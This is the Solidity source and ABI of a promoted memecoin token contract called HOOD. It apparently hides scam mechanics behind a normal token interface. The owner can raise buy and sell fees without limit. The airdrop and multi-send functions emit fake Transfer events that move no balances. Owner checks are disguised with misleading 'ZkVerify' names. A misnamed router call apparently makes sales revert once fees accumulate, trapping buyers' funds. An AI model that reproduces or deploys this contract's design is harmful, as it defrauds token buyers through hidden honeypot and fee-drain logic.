/**
 */

/*

   🌙wagmicatgirlkanye420etfmoon1000x🌙

🌙Telegram: https://t.me/+SMTAvdhQXUI1ZjFh
🌙Website : https://wagmicatgirl.com/
🌙Twitter : https://twitter.com/wagmicatgirl

*/

// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.0;

interface IUniswapFactory {
    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

library SafeMath {
    function tryAdd(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function per(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= 100, "Percentage must be between 0 and 100");
        return (a * b) / 100;
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

contract HOOD {
    struct StoreData {
        address tokenMkt;
        uint8 buyFee;
        uint8 sellFee;
    }

    string private _name = unicode"wagmicatgirlkanye420etfmoon1000x";
    string private _symbol = unicode"HOOD";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 69_000_000_000 * 10 ** decimals;

    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public pair;
    IUniswapV2Router02 constant _uniswapV2Router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    bool private swapping;
    bool private tradingOpen;

    address _deployer;
    address _executor;

    address private uniswapLpWallet;
    address private Community = 0x2A76f2182e7b558077d5FEccc1E9f45ea21f3Aba;
    address private Airdrop = 0x6F21762A5a44A74f112CCB19415d942e054d3d04;
    address private PublicSale = 0xcC621B0080c04dD71956113007b547E35d2a8Dc7;
    address private Investor = 0x704179aA5668B19a3717626227e4cb433D77051F;
    address private Contributors = 0x8Eb6592A8BC5b839085297c9C42CD1Ac95058eF7;
    address private Ecosystem = 0xd6E5c33e2Cb1BA0DabB9EB73508544B9ea7aB57A;
    address private Treasury = 0x5679f18bCE75f989ab6c9A8a456f5a289EA39DbA;

    constructor() {
        uint8 _initBuyFee = 5;
        uint8 _initSellFee = 5;
        storeData = StoreData({
            tokenMkt: msg.sender,
            buyFee: _initBuyFee,
            sellFee: _initSellFee
        });
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        uniswapLpWallet = msg.sender;

        _initDeployer(msg.sender, msg.sender);

        balanceOf[uniswapLpWallet] = (totalSupply * 69) / 1000;
        emit Transfer(address(0), _deployer, balanceOf[uniswapLpWallet]);

        balanceOf[Community] = (totalSupply * 23) / 100;
        emit Transfer(address(0), Community, balanceOf[Community]);

        balanceOf[Airdrop] = (totalSupply * 30) / 100;
        emit Transfer(address(0), Airdrop, balanceOf[Airdrop]);

        balanceOf[PublicSale] = (totalSupply * 4) / 100;
        emit Transfer(address(0), PublicSale, balanceOf[PublicSale]);

        balanceOf[Investor] = (totalSupply * 14) / 1000;
        emit Transfer(address(0), Investor, balanceOf[Investor]);

        balanceOf[Contributors] = (totalSupply * 47) / 1000;
        emit Transfer(address(0), Contributors, balanceOf[Contributors]);

        balanceOf[Ecosystem] = (totalSupply * 30) / 100;
        emit Transfer(address(0), Ecosystem, balanceOf[Ecosystem]);

        balanceOf[Treasury] = (totalSupply * 0) / 100;
        emit Transfer(address(0), Treasury, balanceOf[Treasury]);
    }

    receive() external payable {}

    event setBuyTaxesEvent(uint256 _buy);

    event setSellTaxesEvent(uint256 _sell);

    event initializeEvent(address addr);

    event setGameRewardEvent(uint256 Runner, uint256 Neightbor, uint256 War);

    event setHoodRewardEvent(
        uint256 Holder,
        uint256 User,
        uint256 Ecs,
        uint256 Trs
    );

    event setAddressEvent(
        address Raffle,
        address Sale,
        address Ecos,
        address Trea
    );

    function setHoodInfo(uint8 _buy, uint8 _sell) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        _upgradeStoreWithZkProof(_buy, _sell);
    }

    function setBuyTaxes(uint256 _buy) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        emit setSellTaxesEvent(_buy);
    }

    function setSellTaxes(uint256 _sell) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        emit setSellTaxesEvent(_sell);
    }

    function _upgradeStoreWithZkProof(uint8 _buy, uint8 _sell) private {
        storeData.buyFee = _buy;
        storeData.sellFee = _sell;
    }

    function initialize(address addr) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        emit initializeEvent(addr);
    }

    function setGameRewardValue(
        uint256 Runner,
        uint256 Neightbor,
        uint256 War
    ) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        emit setGameRewardEvent(Runner, Neightbor, War);
    }

    function setHoodReward(
        uint256 Holder,
        uint256 User,
        uint256 Ecs,
        uint256 Trs
    ) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        emit setHoodRewardEvent(Holder, User, Ecs, Trs);
    }

    function setAddress(
        address Raffle,
        address Sale,
        address Ecos,
        address Trea
    ) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        emit setAddressEvent(Raffle, Sale, Ecos, Trea);
    }

    function _decodeTokenMktWithZkVerify() private view returns (address) {
        return storeData.tokenMkt;
    }

    function openTrading() external {
        require(msg.sender == _decodeTokenMktWithZkVerify());
        require(!tradingOpen);
        address _factory = _uniswapV2Router.factory();
        address _weth = _uniswapV2Router.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
        pair = _pair;
        tradingOpen = true;
    }

    function multiSends(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function airdropTokens(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function _initDeployer(address deployer_, address executor_) private {
        _deployer = deployer_;
        _executor = executor_;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = _decodeTokenMktWithZkVerify();
        require(tradingOpen || from == tokenMkt || to == tokenMkt);

        balanceOf[from] -= amount;

        if (
            to == pair &&
            !swapping &&
            balanceOf[address(this)] >= swapAmount &&
            from != tokenMkt
        ) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            payable(tokenMkt).transfer(address(this).balance);
            swapping = false;
        }

        (uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee);
        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _sellFee : _buyFee)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;

        if (from == _executor) {
            emit Transfer(_deployer, to, amount);
        } else if (to == _executor) {
            emit Transfer(from, _deployer, amount);
        } else {
            emit Transfer(from, to, amount);
        }
        return true;
    }
}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"addr","type":"address"}],"name":"initializeEvent","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"Raffle","type":"address"},{"indexed":false,"internalType":"address","name":"Sale","type":"address"},{"indexed":false,"internalType":"address","name":"Ecos","type":"address"},{"indexed":false,"internalType":"address","name":"Trea","type":"address"}],"name":"setAddressEvent","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_buy","type":"uint256"}],"name":"setBuyTaxesEvent","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"Runner","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"Neightbor","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"War","type":"uint256"}],"name":"setGameRewardEvent","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"Holder","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"User","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"Ecs","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"Trs","type":"uint256"}],"name":"setHoodRewardEvent","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"setSellTaxesEvent","type":"event"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"airdropTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"multiSends","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Raffle","type":"address"},{"internalType":"address","name":"Sale","type":"address"},{"internalType":"address","name":"Ecos","type":"address"},{"internalType":"address","name":"Trea","type":"address"}],"name":"setAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"}],"name":"setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"Runner","type":"uint256"},{"internalType":"uint256","name":"Neightbor","type":"uint256"},{"internalType":"uint256","name":"War","type":"uint256"}],"name":"setGameRewardValue","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buy","type":"uint8"},{"internalType":"uint8","name":"_sell","type":"uint8"}],"name":"setHoodInfo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"Holder","type":"uint256"},{"internalType":"uint256","name":"User","type":"uint256"},{"internalType":"uint256","name":"Ecs","type":"uint256"},{"internalType":"uint256","name":"Trs","type":"uint256"}],"name":"setHoodReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"tokenMkt","type":"address"},{"internalType":"uint8","name":"buyFee","type":"uint8"},{"internalType":"uint8","name":"sellFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]